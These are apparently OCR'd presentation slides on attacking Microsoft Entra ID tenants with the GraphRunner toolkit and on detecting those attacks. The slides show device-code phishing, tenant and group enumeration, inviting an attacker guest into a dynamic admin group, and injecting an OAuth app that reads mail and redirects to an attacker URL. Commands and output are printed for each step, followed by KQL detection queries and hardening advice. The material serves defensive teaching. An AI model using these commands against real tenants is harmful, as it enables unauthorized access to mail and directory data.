scp

: AuditLog.Create AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared

Calendars.ReadWrite Contacts.ReadWrite DatalLossPreventionPolicy.Evaluate
Directory.AccessAsUser.All Directory.Read.All Files.Read Files.Read.All
Files.ReadWrite.All Group.Read.All Group.ReadWrite.All
InformationProtectionPolicy.Read Mail.ReadWrite Mail.Send Notes.Create
Organization.Read.All People.Read People.Read.All Printer.Read.All
PrinterShare.ReadBasic.All PrintJob.ReadWriteBasic SensitiveInfoType.Detect
SensitiveInfoType.Read.All Sensitivitylabel.Evaluate Tasks.ReadWrite
TeamMember.ReadWrite.All TeamsTab.ReadWriteForChat User.Read.All
User.ReadBasic.All User.ReadWrite Users.Read



tid : €2ac0170-13c3-47ad-9055-c499bb7750c8
unique_name : admingWwLx688808.onmicrosoft.com
upn : admin@WwLx688808.onmicrosoft.com



[*] Successful authentication. Access and refresh tokens have been written to the global $tokens variable. To use them with other
GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens)
[!'] Your access token is set to expire on: 01/17/2025 17:41:51



Invoke-DumpApps -Tokens $tokens



GraphRunner Command Nl ks

e Invoke-GraphRecon
e Performs general recon for org info, user setting, directory sync setting

e Get-AzureADUsers
e Get all userin the Tenant

Get-SharePointSiteURLs
Get-SecurityGroups
Get-UpdatableGroups

e Get groups that may be able to be modified by the current user (estimated
access)

e Get-DynamicGroups
e Finds dynamic groups and displays membership rules

e |nvoke-lnviteGuest
e |nvites a guest user to the tenant

e Invoke-InjectOAuthApp
e Injects an app registration into the tenant
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Invoke-GraphRecon
 Contactinfo for tenant

* Directory Sync Settings

* User Settings

e Authorization Policy Info

Display Name: Victim Company

Street: Under Attack Way

City:

State:

Postal Code:

Country:

Technical Notification Email: transformprovadonotattackme.com
Telephone Number: 3345678
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Invoke-GraphRecon

Contact info for tenant
Directory Sync Settings
User Settings
Authorization Policy Info

Self-Service Password Reset Enabled:
Consent to Apps: true
Read Other Users: true
Create Apps: true

Create Groups: true

Users Can
Users Can
Users Can
Users Can

true
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Invoke-GraphRecon
 Contactinfo for tenant
* Directory Sync Settings
* User Settings
* User Can Consent to Apps
 User Can Read Other Users
* Users Can Create Apps
* User Can Create Groups
e Authorization Policy Info

Users Can Consent to Apps: true
Users Can Read Other Users: true
Users Can Create Apps: true

Users Can Create Groups: true
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Invoke-GraphRecon

Invoke-GraphRecon

e Contact info for tenant
* Directory Sync Settings
* User Settings

e Authorization Policy Info Alleyed  creme o resRtns (Derale ey Rule

Permissions): True

Allowed to create security groups (Default User Role
Permissions): True

Allowed to create tenants (Default User Role Permissions):
True

Allowed to read Bitlocker keys for own device (Default User
Role Permissions): True

Allowed to read other users (Default User Role Permissions):
True

Who can invite external users to the organization: everyone
Users can sign up for email based subscriptions: True

Users can use the Self-Serve Password Reset: True

Users can join the tenant by email validation: True

Users can consent to risky apps:

Block MSOL PowerShell: False

Guest User Role Template ID: 10dae51f-b6af-4016-8d66-
8c2a99b929b3

Guest User Policy: Guest users have limited access to
properties and memberships of directory objects
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Inboke-GraphRecon
e Contact info for tenant
* Directory Sync Settings
* User Settings
e Authorization Policy Info
 Who can invite external users to
the organization

Who can invite external users to the organization: everyone
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Get-AzureADUsers

Gather the full list of users from
the directory.

L_pS> Get-AzureADUsers $tokens
cmdlet Get-AzureADUsers at command pipeline position 1
Supply values for the following parameters:
outfile: azuread-users.txt

[*] Gathering the users from the tenant.
-——All Azure AD User Principal Names-—-
AdamsqWWLx688808.0nMicrosoft.com
AdeleVQWWLXx688808.0nMicrosoft.com
adminWWLx688808.onmicrosoft.com
AlexWaWWLx688808.0nMicrosoft.com
AllanDQWWLXx688808.0nMicrosoft.com
AutomateB@WWLx688808.0nMicrosoft.com
BakeragWwLx688808.0nMicrosoft.com
BiancaPQWWLx688808.0nMicrosoft.com
BrianJoQwwLx688808.0nMicrosoft.com
JoniSQWWLx688808.0nMicrosoft.com
LeeGWWLXx688808.0nMicrosoft.com
LidiaHQWWLXx688808.0nMicrosoft.com
LynneRQWWLx688808.0nMicrosoft.com
MeganBaQWWLx688808.0nMicrosoft.com
MiriamGoQWWLx688808.0nMicrosoft.com
ms-serviceaccountWwWLx688808.0nMicrosoft.com
NestorwgwwLx688808.0nMicrosoft.com
PattiFQWWLx688808.0nMicrosoft.com
PradeepGaWWLx688808.0nMicrosoft.com
RainiergWWLx688808.0nMicrosoft.com
RaulRQWWLx688808.0nMicrosoft.com
StevensgWWLx688808.0nMicrosoft.com
Discovered 35 users
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Get-Security Groups

Create a list of security groups
along with their members.

LpsS> Get-SecurityGroups $tokens

[*] Using the provided access tokens.

[*] Retrieving a list of security groups and their members from
the directory ...

Group Name: All Company | Group ID: @ccdc6d6-58fd-4875-8a9c-
80ec9329f3d1

Members: admingWWLx688808.onmicrosoft.com

Group Name: Project Falcon | Group ID: 18c65ebe-7044-4276-b9b3-
e5b02b55f93f

Members: AlexWaWwWLx688808.0nMicrosoft.com,
MeganBaWWLx688808.0nMicrosoft.com,
Lid1aHAWWLx688808.0nMicrosoft.com

Group Name: Executives | Group ID: laf74d2d-fe@3-4b@c-835d-

2895¢c951b5c9
Members: PattiFQWWLx688808.0nMicrosoft.com

Group Name: Legal Team | Group ID: 25187061-75f2-4787-b8da-

5c96e4c8226f
Members: JoniSQWwWLx688808.0nMicrosoft.com,
GradyAQWWLx688808.0nMicrosoft.com

Group Name: Finance Team | Group ID: 0372e863-a3e4-45a6-93bf-
b233c5c71c69
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Get-Security Groups

* Create a list of security groups
along with their members.

Group Name: Executives | Group ID: laf74d2d-fe@3-4b@c-835d-
2895¢951b5c9
Members: PattiF@WWLx688808.0nMicrosoft.com
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LpsS> Get-updatableGroups $tokens
[*] Now gathering groups and checking if each one is
. updatable.
GEt‘SECU”tV GrOUpS [+] Found updatable group: Finance Team: 0372e863-a3e4-45a6-

93bf-b233¢c5c71c69

* Create a list of security groups e

0396367f-c3ce-

. . [+] Found updatable group: All Company: @ccdc6d6-58fd-4875-
along with their members. Bt
[+] Found updatable group: ssg-Contoso Bug Bashers: 150f150b-
9811-4323-9d4b-bb8085bea5f4
Get updatab|eGrOUpS [+] Found updatable group: sg-Sales and Marketing: 175b2c6d-

25c2-4294-96a7-ae7¢cd09d15d5

° Gets groups that may be able [+] Found updatable group: Project Falcon: 18c65ebe-7044-4276-

b9b3-e5b02b55f93f
1fi [+] Found updatable group: Executives: laf74d2d-fe03-4b0c-

to be modified by the current eREEEEREREE

user [+] Found updatable group: Legal Team: 25187061-75f2-4787-
b8da-5c96e4c8226f
[+] Found updatable group: IT Team: eQ@4eccdl-5f62-435f-a427-
3341e8761180
[+] Found updatable group: Leadership: ea2achc5-5888-4be5-
affa-5c156a17232c
[+] Found updatable group: sg-HR: eb641e49-8470-4406-9530-
e4421c9f5300
[+] Found updatable group: sg-Engineering: eeb42c92-7d7b-4dac-
afb4-c213f39fb5c2
[+] Found updatable group: sg-IT: f9e4a5al-c3b7-4eb6e-bcbe-
7088f603e5f9
[*] Found 31 groups that can be updated.
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Get-Security Groups

* Create a list of security groups
along with their members.

Get-updatableGroups

* Gets groups that may be able
1fi [+] Found updatable group: Executives: 1laf d-fe03-4b0c-
to be modified by the current | e AL

[+] Found updatable group: Legal Team: 25187061-75f2-4787-

user b8da-5c96e4c8226f
[+] Found updatable group: IT Team: eQ@4eccdl-5f62-435f-a427-

3341e8761180

Who can invite external users to the organization: everyone
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Get-Security Groups

* Create a list of security groups
along with their members.

Get-updatableGroups

* Gets groups that may be able
to be modified by the current
user

Get-DynamicGroups

* Finds dynamic groups and
displays membership rules

Lps> Get-DynamicGroups $tokens

[*] Using the provided access tokens.

[*] Now gathering groups and checking if each one is a
dynamic group.

[+] Found dynamic group: IT Team

[*] Found 1 dynamic groups.

: IT Team

Group Name
: eQ4eccdl-5f62-435f-a427-

Group ID
3341e8761180
Description
Is Assignable To Role
On-Prem Sync Enabled
Mail
Created Date
Visibility :
MembershipRule : (user.userPrincipalName -
contains "admin")or (user.displayName -contains

"admin")
Membership Rule Processing State : On

: for IT team

: 2025/2/16 7:59:33
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Get-Security Groups

* Create a list of security groups
along with their members.

Get-updatableGroups

Group Name

* Gets groups that may be able
to be modified by the current
user

Get-DynamicGroups MembershipRule

* Finds dynamic groups and
displays membership rules

: IT Team

: (user.userPrincipalName -
contains "admin")or (user.displayName -contains
"admin")
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Path to add user to a group

Invite a guest user to Entra ID

//Y

Add the guest user to the target group

&8
‘ Access the resource by using guest account
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Invite a guest user to Entra ID

Auto join to the dynamic group

&8
‘ Access the resource by using guest account
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Invoke-InviteGuest

Module for inviting guest users
to the tenant

L_pS> Invoke-InviteGuest $tokens

"fake admin" "fakeadmin@iamattacker.com"
[*] Using the provided access tokens.

Enter the Redirect URI (leave blank to use the default):
Send an Email Invitation? (true/false): true

Enter a custom message body or leave blank:

[*] External user invited sent successfully.

Display Name: winwin admin

Email Address: winwin@iamattacker.com

Object ID: f257d75b-a577-4fde-acd9-9c611c066e8d

Invite Redeem URL:
https://login.microsoftonline.com/redeem?rd=https%3a%2f%
2finvitations.microsoft.com%2fredeem®»2f%3ftenant%3dc2acO
170-13c3-47ad-9055-c499bb7750c8%26user%3d2f802b03-b399-

La2c-9ac3-
7148f6b8f9e6%26ticket%3duB6RtvdL6PhG5sY9ZYNn%25252bxb5dco
zGsmVAmhy2pAUosho%25253d%26ver%3d2.0
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-DisplayName

InVOke‘InV|teGueSt fake admin" -EmailAddress "fakeadmin@iamattacker.com

* Module for inviting guest users
to the tenant bt Cosor-dieptayNane. -coniaine. "aaminsy o one radmn®)

Get-MgUser "DisplayName eq ‘fake admin'"
DisplayName Id Mail UserPrincipalName

fake admin f257d75b-a577-4fde-acd9-9¢c611c066e8d winwingiamattacker.com fakeadmin_iamattacker.com#EXT#WWLx68808..

Get-MgUserMemberOfAsGroup "f257d75b-a577-4fde-acd9-9c611c066e8d"
DisplayName Id MailNickname Description GroupTypes

IT Team eQ4eccdl1-5f62-435f-a427-3341e8761180 b602absf-a for IT team {DynamicMembership}
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Check My Apps g

Home > Power Bl Service

&a Power B Service | Users and groups

Enterprise Application

—I— Add user/group O Refresh €03 M.

£ Overview

[l Deployment Plan Assign users and groups to app-roles for your application here. App-roles are made available by the developer of the ap
K Diagnose and solve problems | A First 200 shown, search all users & groups it My Apps v /O
Manage ) ) )
Display name Win for Win Sign out
II' Properties
Apps dashboard B Addapps &
& Owners [ T Team fake admin
4t Roles and administrators Apps . "
View account
& Users and groups Switch organization
3) Single sign-on
N Apps
@ Provisioning Sign in with a different account

PB
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Persistent and Privilege escalation
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Invoke-InviteGuest

 Module for inviting guest users
to the tenant

Invoke-InjectOAuthApp

 Thisis a tool for automating the
deployment of an app
registration to a Microsoft Entra
tenant.

Lps> Invoke-InjectOAuthApp "GraphRunner App"
"https://windefend.azurewebsites.net"

"openid","Mail.Read","email","profile","offline_access"

$tokens

[#] Using the provided access tokens.

[*] Getting Microsoft Graph Object ID

Graph ID: 00000003-0000-0000-c000-000000000000

Internal Graph ID: ae656420-1ba2-46f8-8fd4-61b77d5b8f99

[*] Now getting object IDs for SCOfe objects:

openid Mail.Read email profile offline_access

openid : "37f7f235-527c-4136-accd-4a02d197296e"

Mail.Read : "570282fd-fa5c-430d-a7fd-fc8dc98a9dca”

email : "64a6bcdd6-aabl-4aaf-94b8-3cc8405e€90d0"

profile : "14dad69e-099b-42c9-810b-d002981feecl”

offline_access : "7427e0e9-2fba-42fe-b0c0-848c9e6a8182"

[*#] Finished collecting object IDs of permissions. ‘

[*] Now deploying the app registration with display name Win

Defend for M365 to the tenant. o

[*] If everything worked successfully this is the consent URL

you can use to grant consent to the app:

https://login.microsoftonline.com/organizations/oauth2/v2.0/au
thorize?client_i1d=86300c96-6e31-4b90-80ce-
3fl14e3f2c0626response_type=codeSredirect_uri=https%3a%2f%2fwin
defend.azurewebsites.net&response_mode=query&scope=openid%20Ma
11l.Read%20email%20profile%20offline_access&state=1234

ABplication ID: 86300c96-6e€31-4b90-80ce-3f14e3f2c062
Object ID: db6cfa7e0-109e-4a69-aeab5-c649e4045c41

After you obtain an OAuth Code from the redirect URI server
you can use this command to complete the flow:

Get-AzureAppTokens -ClientId "86300c96-6e31-4b90-80ce-
3f14e3f2c062" -ClientSecret "" -RedirectUri
"https://windefend.azurewebsites.net" -scope "openid Mail.Read
email profile offline_access" -AuthCode <insert your OAuth
Code here>
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Get-SharePointSiteURLs

L_pS> Get-SharePointSiteURLs

[*]
[*]
[*]
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web
Web

N

CHT Security

$tokens

Using the provided access tokens.

Now getting SharePoint site URLs ...

Found a total of 84 site URLSs.

URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:
URL:

https:
https:
https:
https:
https:
https:
https:
https:
https:

https

https:
https:
https:
https:
https:
https:
https:
https:
https:
https:

https

https:
https:
https:
https:

//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
://wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
://wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.
//wwlx688808.

sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.
sharepoint.

com/DemoDocs/Forms/AllItems.aspx
com/FormServerTemplates/Forms/All Forms.aspx
com/JTDesignDocs/Forms/AllItems.aspx
com/RMSDemoLib/Forms/AllItems.aspx

com/Shared Documents/Forms/AllItems.aspx
com/sites/allcompany/FormServerTemplates/Forms/All Forms.aspx
com/sites/allcompany/Shared Documents/Forms/AllItems.aspx
com/sites/allcompany/Style Library/Forms/AllItems.aspx
com/sites/Brand/FormServerTemplates/Forms/All Forms.aspx
com/sites/Brand/Image Gallery Assets/Forms/AllItems.aspx
com/sites/Brand/Shared Documents/Forms/AllItems.aspx
com/sites/Brand/SiteAssets/Forms/AllItems.aspx
com/sites/Brand/Style Library/Forms/AllItems.aspx
com/sites/contentTypeHub/FormServerTemplates/Forms/All Forms.aspx
com/sites/contentTypeHub/Shared Documents/Forms/AllItems.aspx
com/sites/contentTypeHub/SiteAssets/Forms/AllItems.aspx
com/sites/contentTypeHub/Style Library/Forms/AllItems.aspx
com/sites/ContosoLandings/FormServerTemplates/Forms/All Forms.aspx
com/sites/ContosoLandings/Shared Documents/Forms/AllItems.aspx
com/sites/ContosoLandings/SiteAssets/Forms/AllItems.aspx
com/sites/ContosoLandings/Style Library/Forms/AllItems.aspx
com/sites/ContosoWebl/FormServerTemplates/Forms/All Forms.aspx
com/sites/ContosoWebl/Shared Documents/Forms/AllItems.aspx
com/sites/ContosoWebl/SiteAssets/Forms/AllItems.aspx
com/sites/ContosoWebl/Style Library/Forms/AllItems.aspx
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Attack Scenario N\ date

o & ZE R

\_

K
code

B

device
code
phishing

device

Kg

Enumeration account and group

Invite a guest user to Entra ID
Add the guest user to the target group

Inject an OAuth App to Entra ID
tenant
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Attack Scenario detection point g
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* Find device code login

* Find enumeration behavior

* Detect guest user invited

 Detect user add to a group

* Detect new registration app

 Detect permissions granted to
application

numeration accou
and group

y Vite a guest user t
tra ID

‘ target group

| ( - Inject an OAuth Apq
to Entra ID tenant

Add the guest user {

)




Useful Log For Detection Nl ks

Audit Logs

Microsoft
Graph
Activity
Logs
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Find device code login

[string]
$tenantid = $global:tenantid,

[Parameter{Mandatory = $False)}]

[ValidateSet("Yammer®, "Outlook", "M5Teams"™, "Graph", "AzureCoreManagement™,

[String[]]$Client = "MSGraph”,
[Parameter{Mandatory = $False)}]
[String]

$ClientID “"d359%ede-52b3-418
[Barameter{Mandatory = $False)

[ftring]

2
]

-aeff-aad2292ab8lc"”,

YResource = "https://graph.microsoft.com®,

$False)]
[ValidateSet({ 'Mac', 'Windows"',
[String]

$Device,

/Parameter{Mandatory

"AndroidMobile’, 'iPhone')]

ClientID use in GraphRunner

Resource owner tenant ID
User type
Cross tenant access type
Application

"AZUr
Application ID
Resource
Resource ID
Resource tenant ID
Home tenant ID
Home tenant name
Client app
Client credential type
Service principal ID

Onginal transfer method

hEBLEE
\\ CHT Security

f8cdef31-a31e-4b4a-93e4-5f571e91255a
Member

None

Microsoft Office
d3590ed6-52b3-4102-aeff-aad2292ab01c
Microsoft Graph
00000003-0000-0000-c000-000000000000
4c80cfbe-9911-4ab7-9bf0-feB5578a3c60

4cB0cfbe-9911-4ab7-9bf0-feB5578a3c60

Mobile Apps and Desktop clients

None

Device code flow

Token Protection - Sign In Session  Unbound {statusCode: 1002)

Service principal name
Resource service principal
Unigue token identifier
Token issuer type

Token issuer name
Incoming token type
Authentication Protocol

Latency

ID a8656420-1ba2-46f3-8fd4-61b77d5bsfo9
GbHNpCd5WUuhjlwBGMmaAA

Microsoft Entra ID

MNone

Device Code

297ms
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Find Device Code login - KQL

SigninlLogs

| where AuthenticationProtocol =
| where ResourceDisplayName =

| where AppIld =

Results Chart

D TimeGenerated [UTC] 'l OperationName Identity AppDisplayName Appld IPAddress ResourceDisplayName AuthenticationProtocol

D > 2/12/2025, 2:37:55.510 PM Sign-in activity azureadmin Microsoft Office d3590edb-52b3-4102-aeff-aad... 6N BN = Microsoft Graph deviceCode

D > 21272025, 2:30:16.056 PM Sign-in activity azureadmin Microsoft Office d3590ed6-52b3-4102-aeff-aad... 61 I Microsoft Graph deviceCode

D > 2/12/2025, 9:08:03.713 AM Sign-in activity azureadmin Microsoft Office d3590ed6-52b3-4102-aeff-aad... X Microsoft Graph deviceCode
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Add the guest user to the target group

| ( ~ Inject an OAuth App to Entra ID
tenant
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Find enumeration behavior

Invoke-GraphRecon, Get-UpdatableGroups, Get-DynamicGroups

e Use an undocumented API
* graph.microsoft.com/beta/roleManagement/directory/estimateAccess

[Parameter()]

[string]

$EstimateAccessEndpoint = "https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess",

83



Find enumeration behavior -estimateAccess

MicrosoftGraphActivitylLogs
| where RequestUri contains

Results

Chart

D TimeGenerated [UTC] 'L

>

O
O
O
O
O
O
O
O
O
O
O
O
O
O
O
O

2/18/2025,
2/18/2025,
2/18/2025,
2/18/2025,
2/18/2025,
2/18/2025,
2/18/2025,
2/18/2025,
2/18/2025,
2/18/2025,
2/18/2025,
2/18/2025,
2/18/2025,
2/18/2025,
2/18/2025,

2/18/2025,

2:29:05.814 PM
2:29:05.788 PM
2:29:05.455 PM
2:29:05.435 PM
2:28:54.342 PM
2:28:54.307 PM
2:28:54.246 PM
2:28:54.215 PM
2:28:54.196 PM
2:28:54.169 PM
2:28:54.151 PM
2:28:53.791 PM
2:28:49.975 PM
2:28:49.971 PM
2:28:49.934 PM

2:28:49.921 PM

IPAddress

= w s 7cCCOf4

2001 P e
200 gl Jull™ " u' wougs [7ccicofd

2001 " Bm el " v s"well 7cCic9f4

2001 L P EL A e CCCOf4
2001 L00° BN 0 " ™7 cOf4

2007 gullll wel Sl el ol CCCOf4
2001 Befln cleall om - m ol o® 7ecicOf4
2007 mall™. ™" """ m o™= # Tccc9f4
2001 g =, AR BLAE U, Tcccof4

2001 " ERMI U = n''ma7cccof4

2007 I e Reilialells Biaien "» 7cC:c9f4
Tecc9f4

2001w mmemes = mmwm

20008 =6 .00 n u e «7cc:c9f4

2001 ™ peemen = s ppm = 7ococ9f4
2001 "

m "nmwe e em’ Tocco9f4

2007 1Pl - TcCc9f4

RequestUri

https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess
https://graph.m icrosoft.com/beta/roleMan agement/directory/estimateAccess
https://graph.m icrosoft.com/beta/roleMan agement/directory/estimateAccess
https://graph.m icrosoft.com/beta/roleMan agement/directory/estimateAccess
https://graph.m icrosoft.com/beta/roleMan agement/directory/estimateAccess
https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess
https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess
https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess
https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess
https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess
https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess
https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess
https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess
https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess
https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess

https://graph.microsoft.com/beta/roleManagement/directory/estimateAccess

RequestMethod
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST
POST

POST

N

ApiVersion
beta
beta
beta
beta
beta
beta
beta
beta
beta
beta
beta
beta
beta
beta
beta

beta

hEELZEE
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ResponseStatusCod
200
200
200
200
200
200
200
200
200
200
200
200
200
200
200

200
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A

Find enumeration behavior

Invoke-GraphRecon

* graph.microsoft.com/beta/policies/authorizationPolicy
Get-AzureADUsers

* graph.microsoft.com/v1.0/users

Get-SecurityGroups

* graph.microsoft.com/v1.0/groups?filter=securityEnabled eq true
Get-updatableGroups, Get-Get-DynamicGroups

* graph.microsoft.com/v1.0/groups

Invoke-SearchMailbox, Get-SharePointSiteURLs, Invoke-
SearchSharePointAndOneDrive

* graph.microsoft.com/v1.0/search/query
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Find enumeration behavior - KQL N OEAZER

let GraphCalls =
dynamic ([

MicrosoftGraphActivitylLogs
| where UserAgent contains
| where RequestUri in~ (GraphCalls)

dynamic (["https://graph.micrc
"https://graph.microsoft.com/v1.@/groups?filter=securityEnabled eq true",
“"https://graph.microsoft.com/vl./|

"https://graph.microsoft.com/vl.(

MicrosoftGraphActivitylogs

| where UserAgent contains "PowerShell"

| where RequestUri in~ (GraphCalls)

| project TimeGenerated, IPAddress, AppId, UserAgent, RequestUri, Scopes

esults  Chart
TimeGenerated [UTC] 'l IPAddress Appld UserAgent RequestUri Scopes

> 2/18/2025, 2:41:45.667 PM 6 7 T d3590ed6-52b3-4102-aeff-aad... Mozilla/5.0 (Macintosh; Darwin ... https://graph.microsoft.com/v1... AuditLog.C
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device
code
phishing

Enumeration account and group

Invite a guest user to Entra ID
Add the guest user to the target group

Inject an OAuth App to Entra ID
tenant
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Detect guest user invited - AuditLogs §

AuditlLogs
| where (OperationName =
or (OperationName =
and AdditionalDetails[0].value =
))

| extend UserUPN = TargetResources[0].userPrincipalName

AuditLogs
| where (OperationName == "Invite external user" or (OperationName == "Add user" and AdditionalDetails[@].value ==
| extend UserUPN = TargetResources[@].userPrincipalName

Results Chart

TimeGenerated [UTC] 'J UserUPN Resourceld OperationName Identity Category

> 2/20/2025, 4:21:29.117 PM yom - mmm—k_gmail.com#FEXTH#@ " mm wy = ... ftenants/4cisll Swe"ll" "0 H0-... Invite external user UserManagement

> 2/20/2025, 4:21:28.588 PM y I "% _gmail.com#EXT#@ ™ il iC.... ftenants/4ci"EEEE . "I 0ENO-... Add user Microsoft B2B Admin Worker UserManagement




Detect guest user invited - hESLEE
MicrosoftGraphActivityLogs N CHT security

Invoke-InviteGuest

* graph.microsoft.com/v1.0/invitations
* graph.microsoft.com/v1.0/organization

4

# Construct the Graph API endpoint
$graphApiUrl = "https://graph.microsoft.com/v1.@"

$orginfo = Invoke-RestMethod -Uri "$graphApiUrl/organization" -Headers $headers
$tenantid = $orginfo.value. id

# Make the POST request

$response = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/invitations"




Detect guest user invited - hESLREE

MicrosoftGraphActivityLogs NN CHT Security

MicrosoftGraphActivitylLogs
| where UserAgent contains
| where (RequestUri
or RequestUri =

)

MicrosoftGraphActivitylLogs
| where UserAgent contains "PowerShell
| where (RequestUri == "https://graph.microsoft.com/v1.8/invitat s" or RequestUri == "https://graph.mic

Results  Chart
imeGenerated [UTC] 'l RequestUri ApiVersion RequestMethod ResponseStatusCode IPAddress

2 2/20/2025, 4:21:30.168 PM https://graph.microsoft.com/v1.0/invitations v1.0 POST 201 e s n = mmc54f:b176..
> 22042025, 4:21:30.168 PM https://graph.microsoft.com/v1.0/invitations 4 POST 201 W — mc54f:b176...
2/20/2025, 4:21:30.168 PM https://graph.microsoft.com/v1.0/invitations ! POST 201 _ Laall "W:c54fb176..
2/20/2025, 4:21:30.168 PM https://graph.microsoft.com/v1.0/invitations £ POST 201 W 54D 1T76...
2/20/2025, 4:21:12.164 PM https://graph.microsoft.com/v1.0/organization { GET 200 m
2/20/2025, 4:21:12.164 PM https://graph.microsoft.com/v1.0/organization ! GET 200

2/20/2025, 4:21:12.164 PM https://graph.microsoft.com/v1.0/organization ! GET 200
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| ( ~ Inject an OAuth App to Entra ID
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Detect app registration - AuditLogs

let ApplicationOperations = dynamic([

?
AuditlLogs
| where AdditionalDetails[0].value contains

| where OperationName in (ApplicationOperations)

let ApplicationOperations = dynamic(["Add applic
AuditLogs

| where AdditionalDetails([@].value contains "PowerShell"
| where OperationName in (ApplicationOperations)

| project TimeGenerated, OperationName, appDisplayName = TargetResources([0].displayName, appID = TargetResources[0].id, appProperties = TargetResources([@].

modifiedProperties, UserAgent = AdditionalDetails[@].value, user = InitiatedBy.user.userPrincipalName, ActivityDisplayName, AADTenantId, Result

Results Chart

:I TimeGenerated [UTC] 'L OperationName appDisplayName applD appProperties UserAgent

:] > 2/12/2025, 2:35:25.798 PM Add application Win Defend for M365 décfa7e0-109e-4a69... [{"displayName":"AppAddress",”... Mozilla/5.0 (Macintosh; Darwin ...




Detect app registration -

MicrosoftGraphActivityLogs

th 3 8 2 R
g CHT Security 7

Invoke-InjectOAuthApp

grap
grap
grap

Scope

$Scope

Write-Host

$Scope

Write-Host

Mail.
.ReadWrite.All
EWS.AccessAsUser.All

if ($Scope —like

Files

"openid","’

"openid",’

n.microsoft.com/v1.0/servicePrincipals
n.microsoft.com/v1.0/applications

n.microsoft.com/v1.0/applications/{applications ID}/addPassword

Read

"op backdoor")

'‘profile","offline_access","email","User.Read","User.ReadBasic.All","Mail.Read","Mail.Send","Mail.Read.Shared","Mail.Send.Shared","Files.ReadWrite.All","EWS.AccessAsUser.All",

ForegroundColor yellow " [x] One overpowered (OP) backdoor is coming right up! Here is the scope:"

elseif ($SCODe -like "mail reader")

'‘profile"”,"offline_access","email","User.Read","Mail.Read","Mail.Read.Shared"
ForegroundColor yellow " [%] One overpowered (OP) backdoor is coming right up! Here is the scope:"




Detect app registration — "k EL L
MicrosoftGraphActivityLogs N CHT security

MicrosoftGraphActivitylLogs
| where UserAgent contains
| where (RequestUri
RequestUri =

RequestUri has_all(

MicrosoftGraphActivitylLogs

| where UserAgent contains "f

| where (RequestUri has_all("https://graph.microsoft.c

RequestUri == "https://graph.microsoft.com/v1.0/appli

RequestUri == "https://graph.microsoft.com/vl.0/servic . :

| extend ApplicationId = tostring(extract(@"applications/(.%?)/addPassword", 1, RequestUri))
| project TimeGenerated, Applicationld, RequestUri, AppIld, IPAddress, UserAgent, Scopes

Results  Chart
TimeGenerated [UTC] U Applicationld RequestUri Appld

2/12/2025, 2:35:26.115 PM décfa7e0-109e-4a69... https://graph.microsoft.com/v1.0/applications/d6cfa7e0-109e-4a69-aea5-c649e4045c41/addPassword d3590ed6-52b3-4102-aeff-aad...
2/12/2025, 2:35:25.841 PM https://graph.microsoft.com/v1.0/applications d3590ed6-52b3-4102-aeff-aad...
2/12/2025, 2:35:25.841 PM https://graph.microsoft.com/v1.0/applications d3590ed6-52b3-4102-aeff-aad...
2/12/2025, 2:35:19.661 PM https://graph.microsoft.com/v1.0/servicePrincipals d3590ed6-52b3-4102-aeff-aad...
2/12/2025, 2:29:25.954 PM https://graph.microsoft.com/v1.0/servicePrincipals d3590ed6-52b3-4102-aeff-aad...

2/12/2025, 2:29:25.954 PM https://graph.microsoft.com/v1.0/servicePrincipals d3590ed6-52b3-4102-aeff-aad...




Detect permissions granted to application g TEEZER
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Mail.Read

Files.ReadWrite.All
EWS.AccessAsUser.All add more import permissions here.

AuditLogs

| where Category =~ "ApplicationManagement"
where ActivityDisplayName has_any ("Add delegatg¢d permission grant","Add app role assignment to service principal")
where Result =~ "success"

where tostring(InitiatedBy.user.userPrincipalNgme) has "@" or tostring(InitiatedBy.app.displayName) has "@"
mv-apply TargetResource = TargetResources on
(

where TargetResource.type =~ "ServicePrincipal" and array_length(TargetResource.modifiedProperties) > @ and isnotnull(TargetResource.dis
| extend props = TargetResource.modifiedProperties,
Type = tostring(TargetResoyirce.type),
PermissionsAddedTo = tostrfing(TargetResource.displayName)
)
mv-apply Property = props on
(
where Property.displayName =~ "DelegatedPermissionGrant.Scope"

| extend DisplayName = tostring(Pfoperty.displayName), Permissions = trim('"',tostring(Property.newValue))
)

where Permissions has_any ("Mail.Read", "Mail.ReadWrite")

Github-AzureSentinel-MailPermissionsAddedToApplication



https://github.com/Azure/Azure-Sentinel/blob/master/Solutions/Microsoft%20Entra%20ID/Analytic%20Rules/MailPermissionsAddedToApplication.yaml
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Restrict Guest Invitations

Add a blocklist

This is the most typical scenario, where your organization wants to work with almost any organization, but wants to

prevent users from specific domains to be invited as B2B users.
To add a blocklist:
1. Sign in to the Microsoft Entra admin center @ as a Global Administrator.
2. Browse to Identity > External Identities > External collaboration settings.
3. Under Collaboration restrictions, select Deny invitations to the specified domains.

